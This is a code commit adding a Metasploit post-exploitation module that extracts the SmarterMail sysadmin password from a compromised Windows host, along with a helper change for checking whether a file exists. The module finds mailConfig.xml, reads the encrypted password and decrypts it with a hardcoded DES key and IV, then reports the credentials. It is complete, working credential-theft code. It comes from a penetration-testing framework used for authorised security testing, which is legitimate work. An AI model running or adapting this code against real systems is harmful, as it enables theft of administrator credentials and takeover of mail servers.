Land #2934 - Windows Gather SmarterMail Password Extraction
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9e25e2f178
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@ -72,7 +72,16 @@ module Msf::Post::File
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return stat.file?
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else
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if session.platform =~ /win/
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# XXX
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out = session.shell_command_token("type \"#{path}\"").to_s.strip
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# Possible error messages when opening a file, see:
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# http://technet.microsoft.com/en-us/library/cc956687.aspx
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if out =~ /^The system cannot find the path specified/
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return false
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elsif out =~ /^The filename, directory name, or volume label syntax is incorrect/
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return false
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else
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return true
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end
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else
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f = session.shell_command_token("test -f '#{path}' && echo true")
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return false if f.nil? or f.empty?
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@ -0,0 +1,145 @@
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/auxiliary/report'
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class Metasploit3 < Msf::Post
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include Msf::Post::File
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'Windows Gather SmarterMail Password Extraction',
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'Description' => %q{
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This module extracts and decrypts the sysadmin password in the
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SmarterMail 'mailConfig.xml' configuration file. The encryption
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key and IV are publicly known.
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This module has been tested successfully on SmarterMail versions
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10.7.4842 and 11.7.5136.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Joe Giron', # Discovery and PoC (@theonlyevil1)
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'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
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'sinn3r' # shell session support
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],
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'References' =>
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[
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['URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/']
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],
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'Platform' => ['win'],
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'SessionTypes' => ['meterpreter', 'shell']
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))
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end
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def r_host
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if session.type =~ /meterpreter/
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session.sock.peerhost
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else
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session.session_host
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end
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end
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def peer
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if session.type =~ /meterpreter/
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"#{r_host} (#{sysinfo['Computer']})"
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else
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r_host
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end
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end
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#
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# Decrypt DES encrypted password string
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#
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def decrypt_des(encrypted)
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return nil if encrypted.nil?
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decipher = OpenSSL::Cipher::DES.new
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decipher.decrypt
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decipher.key = "\xb9\x9a\x52\xd4\x58\x77\xe9\x18"
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decipher.iv = "\x52\xe9\xc3\x9f\x13\xb4\x1d\x0f"
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decipher.update(encrypted) + decipher.final
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end
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#
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# Find SmarterMail 'mailConfig.xml' config file
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#
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def get_mail_config_path
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found_path = ''
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drive = expand_path('%SystemDrive%').strip
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['Program Files (x86)', 'Program Files'].each do |program_dir|
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path = %Q|#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml|.strip
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vprint_status "#{peer} - Checking for SmarterMail config file: #{path}"
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if file?(path)
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found_path = path
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break
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end
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end
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found_path
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end
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#
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# Retrieve username and decrypt encrypted password string from the config file
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#
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def get_smartermail_creds(path)
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result = {}
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data = ''
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vprint_status "#{peer} - Retrieving SmarterMail sysadmin password"
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begin
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data = read_file(path)
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rescue Rex::Post::Meterpreter::RequestError => e
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print_error "#{peer} - Failed to download #{path} - #{e.to_s}"
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return result
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end
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if data.blank?
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print_error "#{peer} - Configuration file is empty."
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return result
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end
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username = data.match(/<sysAdminUserName>(.+)<\/sysAdminUserName>/)
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password = data.match(/<sysAdminPassword>(.+)<\/sysAdminPassword>/)
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result['username'] = username[1] unless username.nil?
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result['password'] = decrypt_des(Rex::Text.decode_base64(password[1])) unless password.nil?
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result
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end
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#
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# Find the config file, extract the encrypted password and decrypt it
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#
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def run
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# check for SmartMail config file
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config_path = get_mail_config_path
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if config_path.blank?
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print_error "#{peer} - Could not find SmarterMail config file"
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return
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end
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# retrieve username and decrypted password from config file
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result = get_smartermail_creds(config_path)
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if result['password'].nil?
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print_error "#{peer} - Could not decrypt password string"
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return
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end
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# report result
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user = result['username']
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pass = result['password']
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print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'"
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report_auth_info(
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:host => r_host,
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:sname => 'http',
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:user => user,
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:pass => pass,
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:source_id => session.db_record ? session.db_record.id : nil,
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:source_type => 'vuln')
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end
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end
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